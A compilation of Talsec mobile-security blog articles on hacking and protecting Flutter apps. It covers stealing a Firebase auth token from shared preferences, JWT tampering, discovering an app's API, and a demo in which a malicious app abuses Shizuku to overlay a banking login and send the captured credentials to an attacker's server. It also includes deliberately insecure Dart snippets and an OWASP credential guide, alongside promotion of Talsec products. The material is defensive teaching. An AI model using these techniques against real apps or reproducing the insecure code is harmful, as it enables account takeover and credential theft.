  • Common cheating methods include automation, running multiple game accounts, GPS spoofing, and memory hacks.

  • Game developers use different detection techniques, but cheaters always try to stay ahead.

  • Most importantly: There’s almost a perfect protection solution—AppiCrypt and Talsec RASPs!

How to Hack & Protect Flutter Apps — Steal Firebase Auth token and attack the API. (Pt. 3/3)

JWT Token, MiTM Attacks and API Protection. Keep them properly protected and don’t put your enterprise at risk.

Part 1 (link) ↓

  • Disassemble app.

  • Extract its secrets.

Part 2 (link) ↓

  • Make a fake clone.

  • Check every transmitted JSON.

  • Inject code.

Part 3 (this article) ↓

  • Steal authentication tokens.

  • and attack the API.

How to Hack and How to Protect Flutter Apps

First things first. JSON web tokens.

A token is a piece of data that represents a specific identity or authorization. There are different types of tokens, including authentication tokens, which are used to authenticate a user’s identity, and bearer tokens, which grant access to a protected resource.

JWT, or JSON web tokens, are types of tokens used for authenticating and authorizing users. These tokens are encoded and signed, allowing the server to verify their authenticity. However, JWT tokens can be vulnerable to certain attacks, such as weak token signing and token tampering.

Weak tokens are tokens that have been compromised or are otherwise insecure. This can include tokens with weak or easily guessable signing keys, or tokens that have been stolen or otherwise obtained by an attacker. These weak tokens can be used to gain unauthorized access to a system or a protected resource.

The JWT standard allows the non-use of an algorithm (”alg”:”none”) to sign the token. This is of course a very bad practice. A user could change his rights on the fly (from “role”: “user” to “role”: “admin”), without any control by the server. In the same way, if the configuration carried out at the server level accepts different algorithms and the “none” variable, which consists of not having cryptographic functions, it will be possible for an attacker to bypass the integrity verification function to access the data of other users or even of the admin. This can be mitigated by choosing a reliable algorithm (SHA256) and force server to always check algorithm, and therefore reject the “none” variable.

Example of JWT (source: https://jwt.io/introduction)

Firebase Authentication

Firebase Authentication is Flutter Apps’ most favorable authentication service. It allows developers to easily integrate user authentication into their applications using a variety of authentication methods, such as email and password, phone number, or social media accounts like Google, Facebook, and Twitter.

Firebase Authentication on pub.dev

When a user signs up for an account using Firebase Authentication, the service generates an authentication token that is associated with the user’s account. This token is then stored on the user’s device and is used to verify their identity whenever they access the application.

When the user attempts to log in to the application, the authentication token is sent to the Firebase Authentication server, where it is verified and then passed back to the application. If the token is valid, the user is granted access to the application.

How to steal Firebase authentication token

Now, if you’ve read the previous section carefully, you already know what we are after:

This token is then stored on the user’s device…

I want to emphasize that storing this token is a completely appropriate solution assuming the device’s sandbox and other security measures are intact.

Step 1: Demo app

This hello-world Flutter app is connected to Firebase Authentication. A few widgets, some copy-pasting from the Firebase tutorial, and it was up and running:

Login screen with credentials

Once I registered my new account, I checked the account exists as well in Authentication Dashboard:

Everything works well, I am signed in

Step 2: Extraction of JWT

Sorry, I won’t show you any zero-day vulnerability. I assume there is a vulnerable system at play or a malicious 3rd party library (yes, 3rd party dependencies can interfere with app’s data and more), which will steal data from within your application.

Locate the app’s data directory /shared_prefs, which contains a file named com.google.firebase.auth(…) .

The file has the following content:

I moved the content to my computer for easier manipulation. The highlighted text is Firebase Authentication JWT:

TIP: You can use fancy JWT viewer — jwt.io:

And here is the data:

An attacker could misuse this token for an impersonation attack. But to be able to make such an attack, it’s necessary to know the API. Let’s explore the API of the Flutter app.

Attack the API

How to do API attacks in a nutshell

An API attack is a type of cyberattack in which an attacker exploits vulnerabilities in an API in order to gain unauthorized access to sensitive data or systems.

Here are some examples of how a reverse engineer might carry out an API attack:

  1. Sniffing: The attacker captures network traffic containing API requests and responses in order to extract sensitive information such as passwords or access tokens. This can be done using tools like Wireshark or Burp Suite.

  2. Injection: The attacker modifies the API request in order to inject malicious code into the system. This can be done using techniques like SQL injection or cross-site scripting (XSS).

  3. Tampering: The attacker modifies the API request in order to alter the data being transmitted, such as changing the value of a transaction or account balance.

  4. Replay: The attacker captures a valid API request and then replays it multiple times in order to cause a denial of service (DoS) attack or gain unauthorized access to the system.

These are just a few examples of API attacks that a reverse engineer might carry out.

To attack the API of a mobile app, a reverse engineer would need to first identify the API and its associated vulnerabilities. This can typically be done by using a tool to intercept network traffic from the mobile app and analyzing the requests and responses to and from the API.

Once the API has been identified, the reverse engineer can attempt to exploit any vulnerabilities that are found. For example, if the API is not properly validated or sanitized, the reverse engineer could try injecting malicious code into the request in order to gain unauthorized access to the system or steal sensitive data.

Other tactics that might be used in an API attack on a mobile app include tampering with requests in order to alter data, capturing and replaying requests in order to cause a denial of service (DoS) attack, and sniffing network traffic to extract sensitive information.

Discover API architecture from Flutter app

  • strings — You can use strings command available in many Linux distros to gather string resources from any Flutter app:

$ strings my-flutter-app.apk | grep http to gather URLs

  • GraphQL architecture — You can find GraphQL queries in the app’s binary

query {
  user(id: "123") {
    name
    email
    posts {
      title
      content
    }
  }
}
  • REST architecture — You can use strings or Burp Proxy (MITM) again. Common APIs can be found here. The web service may also have it’s OpenAPI (Swagger) documentation available.

/api/v1/account/user/verify
/api/v1/analytics/events
/api/v1/articles.json
/api/v1/asset/asset
/api/v1/asset/assets
/api/v1/auth

I decided to end this article here as there is a plethora of API hacking tutorials: https://duckduckgo.com/?q=api+hacking+burp+postman

Actionable steps for app owners

  1. Check of your Firebase is properly configured: https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit

  2. Glance over the Resources section of this article and check out one of the provided cheatsheets (the most relevant to your app)

  3. IMPORTANT: Majority of network attacks (impersonation, malicious scripts, botnets, JWT stealing, etc.) can be defeated by Talsec’s unique technology AppiCrypt. Check it out!

Thank you for reading the third part of this guide. I hope the information I’ve provided has been useful and informative! Thank you again for joining me on this journey.

written by Tomáš Soukal, Security Consultant at Talsec


Resources

It would be impossible to provide tutorial for every possible mobile app + web service architecture. Hence, I compiled useful list of OWASP and other resources about web application security. Use the list below to find quickly technologies and guides related to your use-case.

Latest ASVS

Pinning

Injection

Transaction authorization

Credential Stuffing Prevention

REST Security Cheat Sheet

Authentication Cheat Sheet

Forgot Password Cheat Sheet

Session Management Cheat Sheet

Weak Token

SSRF

File Upload Security

Input Validation Cheat Sheet

GraphQL Cheat Sheet

Query Parametrization

AWS Security

AWS Misconfigurations

Firebase security checklist

Misconfiguration of Firebase — world readable https://xyz.firebaseio.com/.json

Exploit tool for this vulnerability:

A simple Python Exploit to Write Data to Insecure/vulnerable firebase databases! Commonly found inside Mobile Apps. If the owner of the app have set the security rules as true for both “read” & “write” an attacker can probably dump database and write his own data to firebase db. Control Access with Custom Claims and Security Rules | Firebase Authentication

Verify ID Tokens | Firebase Authentication

How to Achieve Root-Like Control Without Rooting: Shizuku's Perils & Talsec's Root Detection

Explore Shizuku's root-like power for Android. Uncover this mobile security risk and learn how Talsec's RASP provides essential mobile app protection with robust root detection to safeguard your app.

In the world of Android, 'root' has always been the magic word for ultimate control. But what if you could wield that power without ever rooting your device ? Meet Shizuku . This innovative tool opens a door to a realm of privileged commands, allowing apps to perform powerful actions once reserved for the superuser. But convenience often comes with a hidden cost. While it enables incredible features, it also creates new, subtle attack surfaces.

In this article, we will explore how does this power app can exploit the user and his installed applications as well as how does steps in to stop these kinds of threats.

What it actually does ?

Shizuku application is an open-source Android application that enables other apps to run or execute privileged commands and methods without the device being rooted. This means users no longer have to worry about the risk of `bricking` their device during the rooting process or navigating complex tools like Magisk and its various modules. With Shizuku, you can instantly grant an app the elevated privileges it needs.

Do you want to remove a vendor application you never use, prevent an app from draining your battery in the background, or modify a pre-installed system app? Shizuku makes all of this possible. It unlocks a level of power that allows you to customize your device in ways previously impossible without root, granting you nearly all the benefits of admin privileges without the hassle.

Demonstration of attack using Shizuku

Most users perceive Shizuku as a beneficial legitimate tool, a gateway to enhancing their Android experience and unlocking functionalities normally restricted by the system. It's often seen as a legitimate way to customize and optimize their devices and applications.

However, this perceived helpfulness can be a dangerous blind spot. I will demonstrate a critical vulnerability: an overlay attack on a banking application and stealing credentials of a user. Through an attacker app leveraging the Shizuku API, I will show how it's possible to silently obtain all necessary Android permissions, bypass user interaction for permission grants, steal user credentials, and exfiltrate them to an external API. This will vividly illustrate how Shizuku, despite its legitimate uses, can be weaponized to severely compromise user and application security if an attacker gains control.

We will then explore how & steps in to provide robust, real-time protection against such advanced threats, highlighting its capabilities in detecting and mitigating these subtle yet potent attacks.

  • This is the main entry point of our SecureBank application that I made for this demo.

  • Upon clicking Go To Login users are directed to this screen, which prompts for a username and password.

But how can a user be certain they are interacting with the legitimate application's login interface, and not a deceptive overlay from a malicious app?

  • This is the malicious app that is installed on the victim user's device:

  • The malicious app's first move is to leverage the Shizuku API. This powerful interface allows the attacker to execute privileged commands and, crucially, silently grant itself necessary Android permissions without any user prompts or interaction . This is a significant bypass of Android's security model.

  • Once the permissions are acquired, the malicious app initiates a background service. This service operates invisibly to the user, lying in wait for the opportune moment to strike.

  • Now let's try to open our SecureBank login page.

  • This screen closely resembles the login page of our SecureBank app, but it's actually an overlay created by the malicious AttackerAppJava. I've added a banner indicating AttackerAppJava to highlight that this is not the legitimate app - a real attacker would of course skip this step.

  • Unaware of the deception, the user proceeds to enter their sensitive username and password into what they believe is their banking application SecureBank .

  • The moment the user clicks the "Login" button on the fake screen, the attacker app executes its payload:

    • The malicious app writes the captured username and password to a file named secure_bank_creds.txt on the device's external storage. Crucially, this is done without any explicit user permission prompt for storage access, given by the silent permission acquisition facilitated by Shizuku.

  • Leveraging the INTERNET permission, the attacker app immediately sends these stolen credentials to an external API controlled by the attacker. This ensures the credentials are off the device and in the attacker's possession, even if the local file is later discovered or deleted.

How does it work and why is it so dangerous ?

Shizuku requires Developer Mode to be enabled on the Android device, along with Wi-Fi debugging, if you intend to connect via ADB remotely. It doesn’t obtain root access directly, but instead leverages the ADB debug bridge to execute commands on the device — even remotely through Wi-Fi debugging.

  • The APK utilizes this function along with the native library libadb.so to establish a connection to the ADB bridge, either over Wi-Fi or through a physical connection to a computer.

While it doesn’t allow execution of root-level commands, it can still perform any command that ADB typically permits on a non-rooted device.

  • Shizuku employs a binder service to set up and maintain communication with the ADB bridge. Through this service, it also keeps track of which apps on the device are requesting access to the Shizuku API.

  • By utilizing the privileged commands mentioned earlier, Shizuku establishes a JDWP (Java Debug Wire Protocol) connection. Rather than attaching the debugger to a specific app’s debug code, it redirects this connection to its own binder interface, thereby inheriting the ADB and JDWP privileges of the device owner.

  • The IShizukuService daemon runs in the background once the required permissions are granted. It enables Shizuku to execute privileged commands, establish inter-process communication (IPC), and manage communication channels accordingly.

  • This component is responsible for running the command shell for the Shizuku app. It uses AIDL (Android Interface Definition Language) interfaces to define callbacks and manage the execution of privileged commands.

Moreover, Shizuku offers many of the capabilities of an ADB connection without requiring direct access to ADB itself. As many are aware, the ADB shell can perform actions not normally permitted on standard Android devices, such as silently granting permissions, modifying system settings, or accessing protected directories.

However, this powerful functionality also makes Shizuku potentially dangerous if misused. If an attacker succeeds in installing a malicious app on your device maybe after using a link then they can exploit Shizuku to carry out harmful activities without encountering typical permission restrictions.

Demonstration of Talsec protecting the victim APK

Talsec's RASP protects us from these severe threats in mobile devices and protects us from malicious intentions of the attacker.

Let's see what happens inside the SecureBank application when it is protected with Talsec and the attacker tries to exploit it

Talsec's RASP detects the malicious environment and lets the app know that it is not safe to run in this environment. It warns to the user about the 2 necessary conditions for running Shizuku on the device -> Developer mode and Debugging Mode .

Without these modes enabled, Shizuku cannot be something that you might get afraid of.

Integrate Talsec RASP into your application to make your application as well as your users safe. Try freeRASP to learn your security state or use 2 month free trial to try out premium RASP+ to protect your app with maximum coverage; check the plan comparison here: .

AttackerAppJava link: 

written by Akshit Singh

Jaroslav Novotný, Senior Flutter Developer

Cover
Talsec's RASP
https://www.talsec.app/
GitHubit4ch1-007/AttackerAppJava.git
source: https://shizuku.rikka.app/
MainActivity
LoginActivity
1) RASP detected Dev Mode
2) RASP detected ADB enabled
freeRASP

Secure Storage: What Flutter can do, what Flutter could do

Recently, Talsec team has dedicated time and effort to explore different options for secure storage on the Flutter platform. While storing data is a straightforward task, ensuring its security requires careful consideration.

This article assumes you are familiar with:

  • How data storage works on native platforms

  • Android Keystore, Keychain and how they are used

Secure Storage Insights

Talsec team has recently been exploring ways to enhance data security on the Flutter platform. After conducting research, we are considering adding a secure storage feature to freeRASP and RASP+ solutions. As part of this process, we are analyzing the current state of secure storage options in Flutter and gathering insights from the community regarding their expectations for such a feature.

RASP (Runtime Application Self Protection) Security technique that actively defends application by real-time controlling the security state of the device, integrity of the OS and App.

Current popular solutions

A quick recap of what is available as of today. If you are familiar with these packages, feel free to skip to the next section.

1️⃣ flutter_secure_storage (Flutter Package) One common choice among Flutter developers for storage is the flutter_secure_storage plugin. This plugin offers key-value storage that leverages the native API of the target platform (SharedPrefferences, Keystore, Keychain,…) and provides a unified API for accessing them. While the data is encrypted, the current implementation of this solution is possibly vulnerable to a padding oracle attack (as mentioned in GitHub issues source #1, source #2). This vulnerability means an attacker could decipher a message because of incorrect message alignment. However, this attack vector is theoretical and rarely applicable (there are attacks requiring less effort).

2️⃣ hive (Dart Package) Another popular option in the Flutter community is Hive, which provides a straightforward and user-friendly API for developers. Hive is known for its lightweight nature and fast performance, making it a reliable choice for storage in Flutter applications. Additionally, Hive offers built-in support for data encryption, specifically AES-256 encryption. When using encryption with Hive, it is important to note that you must provide an encryption key. Therefore, exercising caution regarding where you store the key and how you securely handle it is crucial.

3️⃣ sqflite (Flutter Package) sqflite is a Flutter package that simplifies the creation and management of local application databases by utilizing the SQLite database engine. With sqflite, developers can easily handle tasks such as storing user preferences, caching data, and managing structured information in their Flutter applications. Additionally, sqflite provides integration with SQLCipher, which guarantees the security of sensitive information. An encrypted database is initialized with a password. It is crucial to handle this password securely and not hardcode it — hardcoded keys are visible in reverse-engineered app.

What is the issue?

We realised that while hardware-backed keystores are available on most devices, there are still many devices that lack this feature. Additionally, some devices encounter issues (especially on Android) with hardware-backed keystores due to manufacturer-provided software. These keystore implementations either fail to perform their intended function or resort to software-backed solutions anyway.

Another important consideration is that although hardware-backed keystores may offer greater resilience against key extraction, they still face the same vulnerability as software-backed keystores — they are not immune to runtime attacks. The data (which are encrypted using keys stored in the keystore) can still be accessed using rooted devices, repackaged/tampered apps or by using hooking frameworks at runtime.

So we came to conclusion that protecting data at rest on the device using SW-based security in combination with RASP can be good enough for many cases and even have considerable advantages.

What are the benefits?

By incorporating a software-backed keystore into RASP (Runtime Application Self-Protection) solution, we can simultaneously address two critical aspects:

  1. Reliability Enhanced RASP solution will offer a dependable keystore mechanism that does not rely on secure hardware. This means that even on devices lacking hardware-backed security features, this solution will ensure the integrity and protection of cryptographic keys.

  2. Security As mentioned earlier, the keystore itself is still vulnerable to threats such as root access and runtime hooks. However, a keystore that closely integrates with RASP would have this problem mitigated, as it could determine whether or not to store/retrieve data based on the current security state of the device.

With the integration of a software-backed keystore, enhanced RASP solution provides a comprehensive and reliable approach to data protection, overcoming the limitations posed by both hardware availability and copromised devices.

What are the issues?

This solution is also not perfect as might look. We also have to consider problematic parts:

  1. RASP is not unbeatable While RASP adds an extra layer of security, it’s not an universal solution which will solve problem once for all. It just adds complexity for attacker to deal with. Once RASP is defeated, this solution becomes “plain” SW-backed keystore. It’s also important to note that RASP can’t replace traditional security measures.

  2. HW is more secure As mentioned earlier, HW-backed keystore performs way better when it comes resiliency against data extraction. Also finding and misusing issue in HW is way harder than finding issue in software implementation of SW-backed keystore.

If you choose SW-backed keystore it’s important consider if you take traditional implementation relying on crypthography or you’ll take storage with additional security layer.

It’s also about you!

What do you think? Would you rely on SW-based secure storage SDK for Flutter with hardcoded obscured encryption key?

Share your thoughts and experiences in the comments below! 👇📝

Hacking and protection of Mobile Apps and backend APIs | 2024 Talsec Threat Modeling Exercise

Enjoy the ultimate threat modeling knowledge sharing refined through insights from hundreds of sessions with mobile security experts and shared with many CTOs, CISOs, and senior mobile developers who develop for Android, iOS, React Native, and Flutter.

It's ideal for team training workshops as a practical guide to better securing mobile apps and backend APIs, offering actionable insights.

  • Threat Modeling

  • TOFU (Trust On First Use)

  • App and Device Enrollment

  • Detection, Monitoring, and Security

It focuses on the most exploitable threat vectors, including

  • Session Hijacking,

  • Token Hijacking,

  • Rooting and Jailbreaking (Magisk),

  • App Impersonation,

  • App Tampering,

  • App Cloning,

  • App Repackaging,

  • Dynamic Hooking (Frida),

  • Reverse Engineering and respective prevention and remediation approaches like a RASP.

presented by Tomas Soukal.

AI Device Risk Summary Demo | Threat Protection | Risk Scoring | Malware Detection | Android & iOS
Home - OWASP Mobile Application Security
freeMalwareDetection
File Upload - OWASP Cheat Sheet Series
Transaction Authorization - OWASP Cheat Sheet Series
Injection Prevention - OWASP Cheat Sheet Series
REST Security - OWASP Cheat Sheet Series
11 AWS Misconfigurations and How to Avoid Them | CrowdStrikeCrowdStrike.com
GraphQL - OWASP Cheat Sheet Series
Session Management - OWASP Cheat Sheet Series
Query Parameterization - OWASP Cheat Sheet Series
Verify ID Tokens  |  Firebase AuthenticationFirebase
Forgot Password - OWASP Cheat Sheet Series
JSON Web Token for Java - OWASP Cheat Sheet Series
Authentication - OWASP Cheat Sheet Series
Control Access with Custom Claims and Security Rules  |  Firebase AuthenticationFirebase
Credential Stuffing Prevention - OWASP Cheat Sheet Series
Input Validation - OWASP Cheat Sheet Series
Release OWASP Application Security Verification Standard 4.0.3 · OWASP/ASVSGitHub
Firebase security checklistFirebase
GitHub - MuhammadKhizerJaved/Insecure-Firebase-Exploit: A simple Python Exploit to Write Data to Insecure/vulnerable firebase databases! Commonly found inside Mobile Apps. If the owner of the app have set the security rules as true for both "read" & "write" an attacker can probably dump database and write his own data to firebase db.GitHub

How to Hack & Protect Flutter Apps — Simple and Actionable Guide (Pt. 1/3)

Either you want to hack Flutter apps, or you want to make them bulletproof. I will show you how it’s done. My name is Tomáš Soukal, and I am a security consultant at Talsec. This guide is unique in its focus on Flutter apps, so you don’t have to read through iOS or Android-only specific hacks over and over again.

Together we will:

Part 1 (this article) ↓

  • Disassemble app.

  • Extract its secrets.

Part 2 () ↓

  • Make a fake clone.

  • Check every transmitted JSON.

  • Inject code.

Part 3 () ↓

  • Steal authentication tokens.

  • and attack the API.

After reading this short guide, you will know how to hack and how to protect against mobile threats.

Disclaimer: Don’t do this to anyone with ill intent, as this is legit hacking. Use this only for learning purposes.

The BetterVission In-App Payments Theft

Back in the day, I had an opportunity to of mine whose app was hacked. He created a popular app called BetterVision for the blind and visually impaired. There was a good reason for the over 100K installations John’s creation has achieved. BetterVision provided a ground-breaking feature. It could turn a phone’s camera into a powerful assistant easing a daily routine for disabled users worldwide. With success, however, soon came difficulties. John’s app suffered a cloning attack, and his In-App purchases got stolen. Profits are now four times smaller because of cracked versions being still available. The attacker replaced In-App payments code with his payment gate!

“They stole our apps by reverse engineering and republished.” Hacking and protection go hand in hand. I have seen dozens of questions on StackOverflow about mobile application security. Some people ask for remediation only after their app is hacked, and others take security in mind from the start. I collected a few of those posts:

Let’s examine what do hackers use.

Hacker’s Shopping List

These are key tools you should know about. Hacking is a time-restricted activity. With proper tooling you will be able to dive deep into app’s internals in a no time. Time is money.

Hacknig tools I like to use:

  • or su allows you to modify app’s internal files

  • gives me a relatively simple way to sniff into the app’s process during its run. I can modify return values and inspect processed data

  • can disassemble app, and then I can modify the app and assemble it again

  • is Swiss knife with many analysis, reconnaissance, and disassembling tools. (must have!)

  • can repackage and mitigate common protections directly on device

  • is IDE for Frida with many useful scripts and monitors

  • or IDA PRO can create a readable code from app’s binary libs and modify the assembler

  • is the first Flutter-oriented reverse engineering tool necessary for MiTM attacks and binary inspection

  • 's Interceptor mode to capture app’s network requests (typically JSON’s and raw data)

It’s nice to have a with a feature-rich file manager and terminal on board.

MobSF Shout-out

MobSF is an automated, all-in-one mobile application (Android/iOS) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. Run these three commands to install it, drag’n’drop any Flutter APK and watch the magic happen:

Note: don’t run random code found on the Internet. Check the original source and verify it’s safe to run.

Alternatively, you can run it in Docker or check this online site (be careful, scan results are public!)

MobSF can do compliance checks, search for secrets, embedded URLs and find common issues automatically. It can also help you to uncover vulnerable modules (3rd party libs) and unsecured entrypoints (receivers, deep links).

Extract App’s Stored Data

Let’s proceed with some exciting stuff. I always imagine app’s stored data as a chest full of precious gold. Once the app lands on your rooted device (or enable Developer Settings), you can freely inspects it’s embedded data and assets. You will find databases, access tokens, API keys, bearer tokens, media assets, Shared Preferences. Shared Preferences files are particularly interesting as they are often misused to store sensitive data like login credentials.

Let’t check this example. I created demo app using standard plugin. The app just increases the counter with value preserved in the Shared Preferences.

Let’s open Total Commander.

In the Total Commander, I can see the XML file with this preference:

Here it is:

I can even modify this value and the app will immediately update (thanks, Flutter) the value in the UI! I hope you are at least a little worried about sensitive data in your shared preferences now. Before I will show you more (in the next part), let’s discuss the rooting issue.

FYI, Talsec provides technologies like Secure Storage or Obfuscation to make attacker’s life harder ;)!

There is a root in the shadows

Some developers refuse to believe there are vulnerable mobile systems (in 2022). They are convinced that the Android/iOS sandboxing model and security practices are decent nowadays. They may be wrong.

Privileged access rights escalation breaching system security model is still possible in many scenarios. Check these vulnerable systems:

  • Device or emulator can be rooted on purpose

  • App may be jeopardized by a 3rd party dependency

  • New OS exploits may be discovered / OS may be unpatched

  • HW exploits

Have you heard about Dirty Cow, Log4j, and Janus vulnerabilities?

Common Attacks and Solutions

I promised this guide to be actionable, so here is the table of most common attacks and possible remediations. The rooting attack which can help attacker to steal sensitive data (and more) can be prevented by usage of the right anti-root or RASP solution (premium: , free: , basic: ). You will see more attacks in action in the next part :)

Subscribe Talsec and maybe try to crack-open some Flutter app in the meantime!

written by Tomáš Soukal, Security Consultant at Talsec

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh
link
link
interview a friend
Magisk
Frida
ApkTool
Mobile Security Framework (MobSF)
Lucky Patcher
Runtime Mobile Security
Ghidra
reFlutter
BurpSuite
rooted emulator
Total Commander
Termux
mobsf.live
shared_preferences
Talsec RASP
freeRASP
flutter_jailbreak_detection
Pinning - OWASP Cheat Sheet Series
Server Side Request Forgery Prevention - OWASP Cheat Sheet Series
Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service | Amazon Web ServicesAmazon Web Services
Top 5 scary AWS misconfigurations | SnykSnyk
Logo

OWASP Top 10 For Flutter - M1: Mastering Credential Security in Flutter

Over the years, I have been developing applications, and mobile app security is often underestimated. Since I am a passionate Flutter and Security developer, I thought it might be helpful to share my experience and research the OWASP top 10 de-facto standards to mitigate security issues common in mobile applications. That's why I decided to write 10 articles to cover the top 10 OWASP security vulnerabilities.

In this comprehensive guide, we explore M1—Improper Credential Usage—from the OWASP Mobile Top 10, focusing on Flutter application development, and see how you can address different scenarios and protect your apps.

OWASP Top 10 For Flutter - M1 - Mastering Credential Security in Flutter

What is M1: Improper Credential Usage?

Improper Credential Usage refers to improperly handling, storing, and transmitting authentication credentials, API keys, tokens, or sensitive information that can be exploited if exposed. This vulnerability often occurs when sensitive credentials are stored insecurely (for example, in plain text within the code or unencrypted local storage) or transmitted over unprotected channels.

When credentials are mismanaged, attackers can reverse-engineer mobile applications to extract these secrets, gaining unauthorized access to backend services and user data. This vulnerability is not just about weak passwords; it encompasses the entire lifecycle of credential management—from creation and storage to usage and eventual rotation.

According to the OWASP Mobile Top 10 documentation , improper credential usage is a critical risk that can lead to significant breaches, impacting user privacy and the integrity of mobile applications.

How Does Improper Credential Usage Happen?

There are multiple cases where issues may occur; let's get into each of them and learn to see if they look familiar.

Insecure Storage Practices

One common way this vulnerability manifests is through insecure storage practices. In the rush to build features, many developers might hardcode API keys or authentication tokens directly into their source code. Consider this simplified example:

class AppConfig {
  // Insecure practice: Storing the API key directly in the source code.
  static const String apiKey = 'YOUR_INSECURE_API_KEY';
}

The API key is embedded within the app’s code in this example. When the app is compiled, reverse-engineering techniques can be applied to extract this key. Tools exist that can decompile APKs or analyze binary code, making this a significant risk.

Stay tuned for my reverse engineering article, which is being published soon, to learn more about how you can find these keys.

Caching Sensitive Data in Memory

Another potential pitfall is caching sensitive information in memory during runtime without proper safeguards. Flutter apps may cache user tokens or other sensitive data for performance reasons. However, if this data is not managed correctly, it could be exposed through debugging tools or if the app’s memory is dumped during a crash.

For example, holding a user token in a global variable might seem convenient but can pose a risk if an attacker finds a way to inspect the app’s runtime memory.

Accidental Exposure Through Debug Logs

Even if you are careful where you store your credentials, logging them during development for debugging purposes can be dangerous. If logs are not properly sanitized or shipped to a remote logging service, sensitive data can leak through logs.

void debugLogin(String token) {
  // Dangerous: Logging the token can expose it if logs are intercepted
  print('User token: $token');
}

This doesn't need to be on the device itself. Sometimes, these keys are mistakenly reported to error reporting systems such as Sentry or Firebase Crashlytics or even stored on the device without encryption.

Local File Storage without Encryption

Sometimes, developers write sensitive data to local files on the device for persistence. While robust, Flutter’s file-handling capabilities do not inherently encrypt the data written to these files. Without additional encryption measures, data stored in files can be read by unauthorized apps or through direct access to the device’s file system.

import 'dart:io';
import 'package:path_provider/path_provider.dart';

Future<void> writeTokenToFile(String token) async {
  final directory = await getApplicationDocumentsDirectory();
  final file = File('${directory.path}/token.txt');
  // Insecure: Writing token to a file in plain text
  await file.writeAsString(token);
}

Even if the credentials are not part of your source code, saving them in a file without encryption exposes them if the device is compromised.

Unencrypted Storage

Many developers turn to the shared_preferences package for its simplicity when saving small pieces of data. However, this package stores data in plain text on the device, meaning that if an attacker gains physical access or exploits vulnerabilities in the device’s operating system, they could easily retrieve these values.

import 'package:shared_preferences/shared_preferences.dart';

Future<void> storeToken(String token) async {
  SharedPreferences prefs = await SharedPreferences.getInstance();
  await prefs.setString('authToken', token); // Insecure if token is sensitive
}

Even if you’re not embedding the credentials directly in your source code, storing them in Shared Preferences creates a risk. The storage's plain-text nature means there is no built-in encryption, making it a vulnerable point in your application.

Insecure Transmission

Even if credentials are stored securely, transmitting them over insecure channels poses another risk. The credentials could be intercepted via man-in-the-middle (MITM) attacks if data is sent over HTTP instead of HTTPS. For example, consider this network request using an insecure endpoint:

import 'package:http/http.dart' as http;

Future<void> login(String username, String password) async {
  final response = await http.post(
    Uri.parse('http://example.com/api/login'),
    body: {
      'username': username,
      'password': password,
    },
  );
  // The credentials are transmitted in plain text over HTTP
}

In this snippet, the absence of HTTPS means that sensitive credentials are exposed during transit, making it easier for attackers to capture them.

Code Exposure in Public Repositories

Another vector for improper credential usage is the accidental exposure of secrets in public code repositories. Developers might inadvertently push configuration files containing sensitive information to GitHub or other version control systems. Even if the repository is later made private or the keys are revoked, attackers might have already archived the credentials.

Code Exposure in Public Repositories - Diagram

The Impact on Flutter Applications

For Flutter developers, improper credential usage can have severe implications. Let’s examine the different dimensions of impact:

  • Compromised User Data: When credentials are exposed, attackers can gain unauthorized access to backend services, allowing them to read, modify, or delete user data. This violates user privacy and may result in a loss of trust and potential legal consequences under data protection regulations.

  • Unauthorized API Access: API keys and tokens are often the gatekeepers to essential backend functionalities. If these keys are compromised, an attacker can misuse the API to perform unauthorized operations. This can lead to manipulating business logic, fraudulent transactions, or even complete service disruption.

  • Financial and Reputational Damage: Organizations that suffer from data breaches often face significant economic losses from direct damages and the cost of incident remediation. Additionally, the reputational damage from a security breach can be long-lasting, affecting user retention and overall business performance.

  • Increased Maintenance and Compliance Costs: Recovering a security breach involves substantial effort. Developers need to rotate keys, fix vulnerabilities, and possibly rebuild parts of the app. This increased workload can delay new features and lead to higher long-term maintenance costs. Moreover, non-compliance with industry standards might lead to penalties and fines.

The Impact on Flutter Applications - Diagram

Mitigation Strategies and Best Practices

Managing credentials securely in Flutter isn’t just about avoiding hardcoded secrets—it's about establishing a comprehensive strategy encompassing every step of the credential lifecycle. Let's see what are the possibilities.

Mitigation Strategies and Best Practices - Diagram

1. Navigating Platform-Specific Storage Differences

Flutter apps run on both iOS and Android, and each platform offers its secure storage mechanisms: iOS has Keychain, and Android offers Keystore. A common challenge is ensuring your credential storage code works seamlessly across platforms without compromising security.

Use the flutter_secure_storage package. It abstracts away the platform-specific details and allows you to store sensitive data encrypted.

import 'package:flutter_secure_storage/flutter_secure_storage.dart';

final FlutterSecureStorage secureStorage = FlutterSecureStorage();

// Store credential securely
Future<void> saveCredential(String key, String value) async {
  try {
    await secureStorage.write(key: key, value: value);
    print('Credential saved securely.');
  } catch (error) {
    print('Error saving credential: $error');
  }
}

// Retrieve credential securely
Future<String?> loadCredential(String key) async {
  try {
    String? value = await secureStorage.read(key: key);
    return value;
  } catch (error) {
    print('Error reading credential: $error');
    return null;
  }
}

This unified API ensures that whether your app runs on iOS or Android, credentials are stored using the best available security features of the respective platforms.

2. Overcoming Rapid Prototyping and Development Pressures

Under the pressure of rapid development, developers might use quick-and-dirty solutions—such as hardcoding credentials or using less secure methods shared_preferences—to speed up prototyping. However, these shortcuts can leave your app vulnerable when it scales to production.

import 'package:shared_preferences/shared_preferences.dart';

Future<void> insecureStoreToken(String token) async {
  SharedPreferences prefs = await SharedPreferences.getInstance();
  // Insecure storage: data is stored in plain text.
  await prefs.setString('apiToken', token);
}

Even during the prototyping phase, use secure storage from the start to instill good habits. This minimizes technical debt when transitioning to production.

import 'package:flutter_secure_storage/flutter_secure_storage.dart';

final FlutterSecureStorage secureStorage = FlutterSecureStorage();

Future<void> storeTokenSecurely(String token) async {
  await secureStorage.write(key: 'apiToken', value: token);
  print('Token stored securely.');
}

3. Mitigating Risks of Inadequate Developer Awareness

Developers unaware of security best practices might inadvertently expose sensitive information—for example, through debug logs or by pushing configuration files with credentials to version control.

void logSensitiveData(String token) {
  // Risk: Logging tokens in debug output can expose them.
  print('DEBUG: User token is $token');
}

There are two ways you can mitigate this issue:

  • Use Environment Variables: Instead of hardcoding credentials, manage them through environment variables using the flutter_dotenv package. This keeps sensitive data out of your source code.

import 'package:flutter_dotenv/flutter_dotenv.dart';

Future<void> main() async {
  // Load environment variables from the .env file
  await dotenv.load(fileName: ".env");
